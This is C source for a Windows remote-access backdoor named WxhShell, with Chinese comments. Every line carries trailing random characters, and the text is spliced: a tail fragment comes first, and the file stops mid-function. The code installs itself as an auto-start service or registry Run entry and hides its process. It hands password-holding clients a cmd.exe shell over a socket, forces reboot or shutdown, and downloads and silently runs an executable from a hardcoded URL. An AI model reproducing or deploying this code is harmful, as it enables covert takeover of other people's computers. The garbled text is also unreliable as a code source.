    else { MDMtOfe|  
    closesocket(wsh); }v_p gatC  
    ExitThread(0); 59&T/  
    } ST[2]   
    break; 9zXu6<|qrL  
    } ^</65+OT+  
  // 关机 r~ZS1Tp  
  case 'd': { mle_*Gy8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r^?)F?n!  
    if(Boot(SHUTDOWN)) aR`_h=a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EJ WOXxU  
    else {  f$:7A0  
    closesocket(wsh);  !7 ei1  
    ExitThread(0); ( rA\_FOJ  
    } ^L>MZA ?  
    break; #Tr;JAzVjG  
    } J xA^DH  
  // 获取shell #pS]k<o%1  
  case 's': { cp E25  
    CmdShell(wsh); CBiU#h q  
    closesocket(wsh); 0_YxZS\  
    ExitThread(0); 1{SrHdD=  
    break; B'WCN&N  
  } @5{.K/s  
  // 退出 1Z^`l6|2  
  case 'x': { Ha46U6_'h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J!21`M-Ue  
    CloseIt(wsh); i /O1vU#  
    break; [W^6u7~  
    } Y|{r vBKjf  
  // 离开 -ET*M<  
  case 'q': { $=e&q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u=p ;A1oy  
    closesocket(wsh); ]_^"|RJ  
    WSACleanup(); aukk|/3Ih  
    exit(1); w.4u=e >Z4  
    break; \zk?$'d  
        } :FX'[7;p  
  } RB S[*D  
  } ,pQ'w7  
MgJ%26TZ  
  // 提示信息 3a'Rs{qxn  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h(C#\{V  
} :z izca4  
  } =]_d pEEQ  
mQwk!* U  
  return; t9Enk!@  
} "D ts*  
Wrf^O2  
// shell模块句柄 _&k'j)rg  
int CmdShell(SOCKET sock) 7Y-FUZ.`>  
{ U^E  
STARTUPINFO si; p9FA_(`^  
ZeroMemory(&si,sizeof(si)); uE,i-g0$Id  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jMm_A#V>p  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]FY?_DGOA  
PROCESS_INFORMATION ProcessInfo; u)q2YLK8  
char cmdline[]="cmd"; e3yorQ][  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5PPPd-'Z_  
  return 0; @+0@BO1 2  
} ?$"x^=te7  
kj Lsk-  
// 自身启动模式 d-6sC@PB  
int StartFromService(void) B-y0;0  
{ +z]:CF  
typedef struct !(MA5L-  
{ 2 pM  
  DWORD ExitStatus; WrE-Zti  
  DWORD PebBaseAddress; <;$Sa's,LE  
  DWORD AffinityMask; ,$MWk(S  
  DWORD BasePriority; cM> G>Yzo  
  ULONG UniqueProcessId; r+{!@`dYi  
  ULONG InheritedFromUniqueProcessId; #hy5c,}>  
}   PROCESS_BASIC_INFORMATION; ugIm:bg&  
38x[Ad4%  
PROCNTQSIP NtQueryInformationProcess; ^D ]7pe  
~>}dse  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \j2 : 6]Hm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ct2_N  
"v\ bMuS  
  HANDLE             hProcess; x[GFX8h(k6  
  PROCESS_BASIC_INFORMATION pbi; 2 Ft0C2  
XhlI|h-j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;X*K*q  
  if(NULL == hInst ) return 0; !^Z[z[  
3X-{2R/ 3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %KabyvOl)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g[=\KrTSg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .-C+0L1j  
X <ba|(  
  if (!NtQueryInformationProcess) return 0; `'G),{ j  
^G'yaaLXR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); haEZp6Z  
  if(!hProcess) return 0; *#prSS  
7(A G]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I&'S2=s  
M\Uc;:) H  
  CloseHandle(hProcess); 2HvTM8  
+H)!uLva B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V',m $   
if(hProcess==NULL) return 0; ^td!g1"<  
jt'Y(u]2  
HMODULE hMod; S+_A <p  
char procName[255]; 0] :*v?  
unsigned long cbNeeded; J-eA,9J  
9:CVN@E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M@!]U:5~V  
YWcui+4p}  
  CloseHandle(hProcess); &P,4EaC9;  
=B/s H N  
if(strstr(procName,"services")) return 1; // 以服务启动 (?*mh?  
Y-neD?VN  
  return 0; // 注册表启动 ySr091Q  
} m 1'&{O:  
K*HVn2OV  
// 主模块 &|'Kut?8  
int StartWxhshell(LPSTR lpCmdLine) 3 2iWYN  
{ #cp$ltY  
  SOCKET wsl; ~u?x{[  
BOOL val=TRUE; :r vO8.\  
  int port=0; ) <}VP&:X  
  struct sockaddr_in door; hIzPy3  
%~B)~|h  
  if(wscfg.ws_autoins) Install(); \0*yxSg,^  
QRg"/62WCD  
port=atoi(lpCmdLine); /\3XARt  
`F- Dd4B  
if(port<=0) port=wscfg.ws_port; *FLTz(T  
IJ #v"! D  
  WSADATA data; 5JU(@}Db  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X*>o9J45V  
\DcC1W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ys.!S.k+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :nbW.B3GV  
  door.sin_family = AF_INET; $E4O^0%/p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X('Q;^`  
  door.sin_port = htons(port); `3>)BV<P  
L!+[]tB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )K\k6HC.  
closesocket(wsl); 6&OonYsP  
return 1; uc"[qT(X  
} H z < M  
Skk3M?  
  if(listen(wsl,2) == INVALID_SOCKET) { VvM U)  
closesocket(wsl); Tl/Dq(8JH  
return 1; ^Lg{2hjj  
} P :7l#/x_  
  Wxhshell(wsl); ('o; M:  
  WSACleanup();  h>L6{d1  
#r:Kg&W2FO  
return 0; :hl}Z n~jt  
qRP8dH  
} 9TXm Z  
cVP49r}}v  
// 以NT服务方式启动 2fL88/'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z5o9\.y({  
{ v;F+fOo  
DWORD   status = 0; T h- vG  
  DWORD   specificError = 0xfffffff; rY_C3;B  
-JyODW#j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n4r( Vg1GS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <8z[,X}bM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =|{,5="  
  serviceStatus.dwWin32ExitCode     = 0; q2j}64o _S  
  serviceStatus.dwServiceSpecificExitCode = 0; B'BbTI,  
  serviceStatus.dwCheckPoint       = 0; }&C!^v o  
  serviceStatus.dwWaitHint       = 0; HU'`kimWb  
4K?H-Jco  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {If2[4!z  
  if (hServiceStatusHandle==0) return; 7N~qg 7&  
#35S7G^@`  
status = GetLastError(); )S;Xy`vO  
  if (status!=NO_ERROR) `w+9j-  
{ 3sg)]3jm2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O,xAu}6f+  
    serviceStatus.dwCheckPoint       = 0; ?BWvF]p5/  
    serviceStatus.dwWaitHint       = 0; _^2[(<Gmv  
    serviceStatus.dwWin32ExitCode     = status; $85o%siS'  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3xCA\*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  9jzLXym  
    return; CyBM4qyH  
  } 23n8,} H,  
WCfe!P?g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9:Z~}yX  
  serviceStatus.dwCheckPoint       = 0; tL4]6u  
  serviceStatus.dwWaitHint       = 0; vM4`u5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fdH'z:Xao  
} v8fZ?dx  
pt|$bU7  
// 处理NT服务事件,比如:启动、停止 K/.hJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7rDRu]  
{ PA-0FlV|  
switch(fdwControl) 4oa P"T@6  
{ 7Hkf7\JY  
case SERVICE_CONTROL_STOP: Xi`U`7?D(=  
  serviceStatus.dwWin32ExitCode = 0; [@FeRIu8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^CZ|ci6bX  
  serviceStatus.dwCheckPoint   = 0; #y9K-}u  
  serviceStatus.dwWaitHint     = 0; L!8?2 \5  
  { W2.1xNWO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6pz:Lfd80  
  } AU?YZEAei  
  return; Ug'nr  
case SERVICE_CONTROL_PAUSE: uu/7Ie  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0@/E% T1c"  
  break; m&z %kVsg]  
case SERVICE_CONTROL_CONTINUE: 7;s0m0<%~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :)V0zHo&(  
  break; hG3$ ]i9  
case SERVICE_CONTROL_INTERROGATE: @/2wmza%2  
  break; @U.}Ei  
}; _TcQ12H 5<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 68br  
} FEi,^V  
\,#4+&4b  
// 标准应用程序主函数 nhxd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K[;,/:Y  
{ U[ O!&:6  
^EBM;&;7  
// 获取操作系统版本 3UtXxL&L`  
OsIsNt=GetOsVer(); y?4=u,{C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p`.fYW:p  
2+Y`pz47W  
  // 从命令行安装 [Ik B/Xbw|  
  if(strpbrk(lpCmdLine,"iI")) Install(); .;v'oR1x5  
)PNH| h  
  // 下载执行文件 8uD%]k=#!  
if(wscfg.ws_downexe) { <^c0bY1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nk,Mo5iqV  
  WinExec(wscfg.ws_filenam,SW_HIDE); T`<k4ur  
} O*Pe [T5x'  
R/FV'qy]  
if(!OsIsNt) { Ytnr$*5.  
// 如果时win9x,隐藏进程并且设置为注册表启动 Us~wv"L=UX  
HideProc(); QS?9&+JM|  
StartWxhshell(lpCmdLine); mb6?$1j  
} [goPmVe+  
else #"YWz)8  
  if(StartFromService()) MZMv.OeYt,  
  // 以服务方式启动 I:)#U[tn0  
  StartServiceCtrlDispatcher(DispatchTable);  1`JN  
else soK_l|z:J  
  // 普通方式启动 \D k^\-  
  StartWxhshell(lpCmdLine); =y/ Lbe}:  
hpe s  
return 0; O.f3 (e!  
} X?xm1|\  
c@{^3V##T  
NW Qu-]P  
UHszOl  
=========================================== _IGa8=~  
TK?N^ly  
{$=%5  
BqAwo  
S5 vMP N  
g {wPw  
" j`M<M[C*4N  
BnY|t2r  
#include <stdio.h> QN5N h s  
#include <string.h> c`=h K*  
#include <windows.h> 3/<^R}w\  
#include <winsock2.h> yAkN2  
#include <winsvc.h> ?^GsR[-x  
#include <urlmon.h> -+Ji~;b  
A+ *(Pds  
#pragma comment (lib, "Ws2_32.lib") GB Un" _J  
#pragma comment (lib, "urlmon.lib") ?Og ;W9i  
F<<H [,%0  
#define MAX_USER   100 // 最大客户端连接数 EB<tX`Wp  
#define BUF_SOCK   200 // sock buffer f3|=T8"t  
#define KEY_BUFF   255 // 输入 buffer Q#bo!]H{t  
2_ DtzY:=  
#define REBOOT     0   // 重启 Q*o4zW  
#define SHUTDOWN   1   // 关机 !H.lVA  
SvJ8Kl OV  
#define DEF_PORT   5000 // 监听端口 +/8?+1E ^  
O3GaxM \x  
#define REG_LEN     16   // 注册表键长度 td$Jx}'A  
#define SVC_LEN     80   // NT服务名长度 #Ih(2T i  
Z4sjH1W  
// 从dll定义API TyXOd,%zl  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .b)(_*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); teALd~;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); < VsZ$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HYa!$P3}[  
AU\!5+RDB  
// wxhshell配置信息 ZWW}r~d{  
struct WSCFG { pDN,(Ip  
  int ws_port;         // 监听端口 W]]2Uo.  
  char ws_passstr[REG_LEN]; // 口令 t $%}*@x7  
  int ws_autoins;       // 安装标记, 1=yes 0=no GUZi }a|=  
  char ws_regname[REG_LEN]; // 注册表键名 ho<#i(  
  char ws_svcname[REG_LEN]; // 服务名 nXW1:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !9Xex?et  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c67!OHumP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cne[-E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Kwau:_B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1 .k}gl0<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~kFRy{z  
GoXHVUyp  
}; uf3 gVS_h=  
I9aber1  
// default Wxhshell configuration {(Z1JoSl  
struct WSCFG wscfg={DEF_PORT, EFOQ;q  
    "xuhuanlingzhe", @35]IxD  
    1, `/iN%ZKum  
    "Wxhshell", 9LRY  
    "Wxhshell",  =7@  
            "WxhShell Service", k{8N@&D  
    "Wrsky Windows CmdShell Service", 3F3?be  
    "Please Input Your Password: ", >0$5H]1u  
  1, >H! 2Wflm  
  "http://www.wrsky.com/wxhshell.exe", p gi7 JQ  
  "Wxhshell.exe" pYQs|5d  
    }; sIM`Q%  
pc>R|~J{2  
// 消息定义模块 ;^]F~x}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SS-   
char *msg_ws_prompt="\n\r? for help\n\r#>"; }DwXs`M7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q5ao2-\   
char *msg_ws_ext="\n\rExit."; 4 .qjTR  
char *msg_ws_end="\n\rQuit."; )E|Bb=%  
char *msg_ws_boot="\n\rReboot..."; >X,6  
char *msg_ws_poff="\n\rShutdown..."; IHfqW?  
char *msg_ws_down="\n\rSave to "; % M:"Ai5:  
JJO"\^,;~  
char *msg_ws_err="\n\rErr!"; rkp0ej2-  
char *msg_ws_ok="\n\rOK!"; %J'_c|EQM  
0U~JSmj:2K  
char ExeFile[MAX_PATH]; Su~`jRN $  
int nUser = 0; 3+ 'w%I  
HANDLE handles[MAX_USER]; C<ljBz`,t  
int OsIsNt; ~a Rq\fx{  
W3kilhZ  
SERVICE_STATUS       serviceStatus; =#Jb9=zdR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?Ci\3)u,P  
m-]"I8 [  
// 函数声明 xCD+qP ^  
int Install(void); kE}I b4]J  
int Uninstall(void); F.9|$g*ip  
int DownloadFile(char *sURL, SOCKET wsh); kM@,^`&  
int Boot(int flag); P nDZi  
void HideProc(void); P*Nl3?T  
int GetOsVer(void); 7va%-&.&t  
int Wxhshell(SOCKET wsl); >@o*v*25  
void TalkWithClient(void *cs); T9 1Iz+j  
int CmdShell(SOCKET sock); ^ TS\x/P  
int StartFromService(void); MvA_tRO  
int StartWxhshell(LPSTR lpCmdLine); ~Fh(4'  
vJs /ett  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7 #`:m|$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "~ 6B C  
*{bqHMd4L  
// 数据结构和表定义 7dRU7p>  
SERVICE_TABLE_ENTRY DispatchTable[] = uq_SF.a'v  
{ 'tj4;+xf^  
{wscfg.ws_svcname, NTServiceMain}, oc3/ IWII  
{NULL, NULL} ]0O$2j_7  
}; ZBWe,Xvq  
yO)Qg* r  
// 自我安装 ]  D(3   
int Install(void) bE{`g]C5  
{ l;fH5z  
  char svExeFile[MAX_PATH]; c1f6RCu$b  
  HKEY key; '_%Jw:4k  
  strcpy(svExeFile,ExeFile); 1Ppzch7  
K`sm  
// 如果是win9x系统,修改注册表设为自启动 ' =kX   
if(!OsIsNt) { lPQH_+)Z"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X,b} d#\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g o@}r<B$  
  RegCloseKey(key); t&0p@xLQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iJK9-k~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I <7K^j+5:  
  RegCloseKey(key); jdzV&  
  return 0; }\F>z  
    } \GN5Sy]r  
  } JqO( ]*"Hi  
} $i hI Hl6'  
else { }% =P(%-  
) )Nc|`  
// 如果是NT以上系统,安装为系统服务 0#ph1a<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >_".  
if (schSCManager!=0) 5VN4A<))  
{ ??Lxb% 7R  
  SC_HANDLE schService = CreateService ^/,s$dj  
  ( Us<lWEX;k  
  schSCManager, XN Y(@  
  wscfg.ws_svcname, * HVO  
  wscfg.ws_svcdisp, y\:2Re/*Jt  
  SERVICE_ALL_ACCESS, w;:,W@K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h0`) =  
  SERVICE_AUTO_START, "T'!cy  
  SERVICE_ERROR_NORMAL, x+&&[>-P  
  svExeFile, Jg:'gF]jt  
  NULL, q&.!*rPD  
  NULL, 6m]L{ buP  
  NULL, J';tpr  
  NULL, *e R$  
  NULL mMR[(  
  ); 9D@Ez"xv  
  if (schService!=0) C<pF13*4  
  { = 2k+/0ZbP  
  CloseServiceHandle(schService); la-+ `  
  CloseServiceHandle(schSCManager); ;4 &~i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Mo/xEB/O  
  strcat(svExeFile,wscfg.ws_svcname); ]lo O5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { er_aol e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W{`;][  
  RegCloseKey(key); 9/{g%40B^  
  return 0; O =fT;&%.  
    } .'4*'i:  
  } TF'ssD  
  CloseServiceHandle(schSCManager); r&qD!l5y  
} BBX4^;t  
} 2a G<^3  
6*e:ey U  
return 1; P _ SJK  
} m=R4A4Y7  
mb#)w`<  
// 自我卸载 @ZmpcoDI  
int Uninstall(void) 3|A"CU/z@  
{ 6 3HxQH  
  HKEY key; Vq*p?cF .  
Ai/#C$MY$  
if(!OsIsNt) { (GeJBw,Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NT/}}vES  
  RegDeleteValue(key,wscfg.ws_regname); qAU]}Et/  
  RegCloseKey(key); oyHjdPdY#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oxRu:+N  
  RegDeleteValue(key,wscfg.ws_regname); Qcw/>LaL:  
  RegCloseKey(key); k_ skn3,u  
  return 0; \+,jM6l}-  
  } BKIt,7j  
} n4:WM+f4  
} 27MgwX NQ  
else { %VdJ<=@  
d+bTRnL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZK;HW  
if (schSCManager!=0) XhS<GF%  
{ fhC=MJ @  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fF9vV. }  
  if (schService!=0) (YR1ML3N  
  { F2u{Wzr_@  
  if(DeleteService(schService)!=0) { jQc0_F\  
  CloseServiceHandle(schService); ?O_;{(F_  
  CloseServiceHandle(schSCManager); H1X6f7`  
  return 0; {{O1C ~  
  } y.>r>o"0  
  CloseServiceHandle(schService); {U4%aoBd8  
  } h7*m+/O  
  CloseServiceHandle(schSCManager); $ }&6p6|  
} |OC6yN *P)  
} wk3yz6V2  
)qKfTt N`  
return 1; n>@(gDq  
} ^v,^.>P  
0uZHH  
// 从指定url下载文件 Di&tm1R1  
int DownloadFile(char *sURL, SOCKET wsh) ]-O:|q>]  
{ Q{>{ e3z}  
  HRESULT hr; A5z`3T;1  
char seps[]= "/"; Tx!mW-Lt  
char *token; %9M_ * ]  
char *file; WB= gN:?  
char myURL[MAX_PATH]; S]<Hx_[}  
char myFILE[MAX_PATH]; NZ Xmrc{S  
E;+3VJ+F"  
strcpy(myURL,sURL); U*6r".sz  
  token=strtok(myURL,seps); [1s B  
  while(token!=NULL) Y+D#Dv |  
  { U#Ud~Q q  
    file=token; t]Oxo`h=  
  token=strtok(NULL,seps); nTLdknh"  
  } ?&N JN/+%  
#vIF]Y  
GetCurrentDirectory(MAX_PATH,myFILE); IQR?n}ce  
strcat(myFILE, "\\"); fFsA[@5tul  
strcat(myFILE, file); 2"NJt9w  
  send(wsh,myFILE,strlen(myFILE),0); ?gTY! ;$P  
send(wsh,"...",3,0); 3.8d"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :imp~~L;  
  if(hr==S_OK) wp} PQw:  
return 0; rHP5;j<]  
else chxO*G  
return 1; <Q%\ pAP}b  
(pAGS{{  
} lwa  
]/U)<{6  
// 系统电源模块 IAg#YFI  
int Boot(int flag) Wz9 }glr  
{ * c xYB  
  HANDLE hToken; 8)T.[AP  
  TOKEN_PRIVILEGES tkp; ;Lz96R@}  
@c5TSHSL.  
  if(OsIsNt) { BaqRAO7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n&&X{Rl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o@"H3 gz  
    tkp.PrivilegeCount = 1; G !wFG-Y}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X+iUT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b^rPw@  
if(flag==REBOOT) { _%Jqyc"-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $+-2/=>Xk  
  return 0; *;Sj&O  
} IRD?.K]*  
else { |LWG7 ZE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^hLAMaR  
  return 0; `O*+%/(  
} D/{hLp{  
  } o AvX(  
  else { O TSbhI'v  
if(flag==REBOOT) { U }xRvNz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tvavI9  
  return 0; '`^`NI`  
} iku) otUc  
else { Eqnc("m)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RP!X 5  
  return 0; %i$]S`A}  
} 'f]\@&Np  
} BlMc<k  
k\I+T~~xD  
return 1; S}mqK|!  
} Q`'w)aV  
g"^<LX-  
// win9x进程隐藏模块 6Xbo:#  
void HideProc(void) $SA8$!:  
{ {p-&8-  
HvLvSy1U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Xb.WI\Eh  
  if ( hKernel != NULL ) w 7s+6,  
  { xmsw'\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hv2@}<r?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [ lW~v:W  
    FreeLibrary(hKernel); (w `9*1NO  
  } cl/}PmYIZ  
G?v]p~6  
return; >+LFu?y  
} ,p {|f}0  
9/'zk  
// 获取操作系统版本 [AA'Ko  
int GetOsVer(void) *`7cvt5]IM  
{ %dw@;IZ#8{  
  OSVERSIONINFO winfo; fIWOo >)D  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4'_PLOgnX  
  GetVersionEx(&winfo); 1U^;fqvja  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <#k(g\/R  
  return 1; n j0!  
  else D% v{[ KY  
  return 0; T5$db-^  
} Db3# ;  
1<IF@__  
// 客户端句柄模块 3+ JkV\AF  
int Wxhshell(SOCKET wsl) HN?NY  
{ Ahv%Q%m%2  
  SOCKET wsh; !#xk?LyB  
  struct sockaddr_in client; )! +~q!A  
  DWORD myID; P;G Rk6  
ER-X1fD  
  while(nUser<MAX_USER) 6R1}fdHvP  
{ 1 CXO=Q  
  int nSize=sizeof(client); gE;r;#Jt4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [+j }:u  
  if(wsh==INVALID_SOCKET) return 1; pbJC A&  
9=YX9nP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lXso@TNrZ0  
if(handles[nUser]==0) V $Y=JK@  
  closesocket(wsh); rlV:% k  
else ROqz$yY  
  nUser++; VI_8r5o  
  } }04 EM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tX)l_ ?jVH  
R+}7]tva6C  
  return 0; aGSix}b1P  
} 8=\}#F  
dX^ ^ @7  
// 关闭 socket \k&2nYVHf  
void CloseIt(SOCKET wsh) kn9ul3c  
{ )jc`_{PQg  
closesocket(wsh); F/.nr  
nUser--; *ETSx{)8  
ExitThread(0); ))ArM-02  
} ]l/ PyX  
t`%Xxxu  
// 客户端请求句柄 3}hJ`xQ  
void TalkWithClient(void *cs) oA+/F]XJ  
{ GP<PU  
-9)H [}.  
  SOCKET wsh=(SOCKET)cs; :Q]P=-Y8  
  char pwd[SVC_LEN]; $DS|jnpV  
  char cmd[KEY_BUFF]; meJ%mY  
char chr[1]; 'ip2|UG  
int i,j; ,y5,+:Y ~  
[P_@-:(O  
  while (nUser < MAX_USER) { ?/3'j(Gk  
b}<?& @  
if(wscfg.ws_passstr) { yVZLZLm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `|&#=hl~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7F$G.LhMw  
  //ZeroMemory(pwd,KEY_BUFF); \P~ h0zg?  
      i=0; \%BII>VS  
  while(i<SVC_LEN) { }o,-@R~  
:LrB9Cf$n  
  // 设置超时 :[\M|iAo  
  fd_set FdRead; rvEX ;8TS  
  struct timeval TimeOut; 6~b)Hc/  
  FD_ZERO(&FdRead); r&rip^40  
  FD_SET(wsh,&FdRead); e)BU6m%  
  TimeOut.tv_sec=8; H;w8[ImK  
  TimeOut.tv_usec=0; ag02=}Q'r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X\Gbs=sf6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X^o0t^  
H6/n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IEmjWw4  
  pwd=chr[0]; 2p|ed=ly%  
  if(chr[0]==0xd || chr[0]==0xa) { 6Cj$x.-K  
  pwd=0; z ?L]5m` H  
  break; ?Z(xu~^/  
  } a'!p^/6?  
  i++; !FA[ ]d4  
    } z{m%^,Cs,  
nG4}8  
  // 如果是非法用户,关闭 socket 3Z_\.Z1R@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :q34KP  
} O= 84ZP%  
G0h/]%I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \%/Y(YVm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T|^KG<uPV!  
q=x1:^rVH  
while(1) { CaB@,L  
y^:N^Gt  
  ZeroMemory(cmd,KEY_BUFF); >(He,o@M  
%X -G(Z  
      // 自动支持客户端 telnet标准   ;d<RP VE:  
  j=0; 3[Z7bhpV  
  while(j<KEY_BUFF) { 2fFGS.l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $s<bKju  
  cmd[j]=chr[0]; @)x8<  
  if(chr[0]==0xa || chr[0]==0xd) {  j|owU  
  cmd[j]=0; tB#-}Gf  
  break; l*-$H$  
  } 5Y#~+Im=[@  
  j++; x.%x|6G*  
    } krecUpo  
i p; RlO  
  // 下载文件 -F&*>?I  
  if(strstr(cmd,"http://")) { lG R6S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ><w=  
  if(DownloadFile(cmd,wsh)) cz;gz4d8  
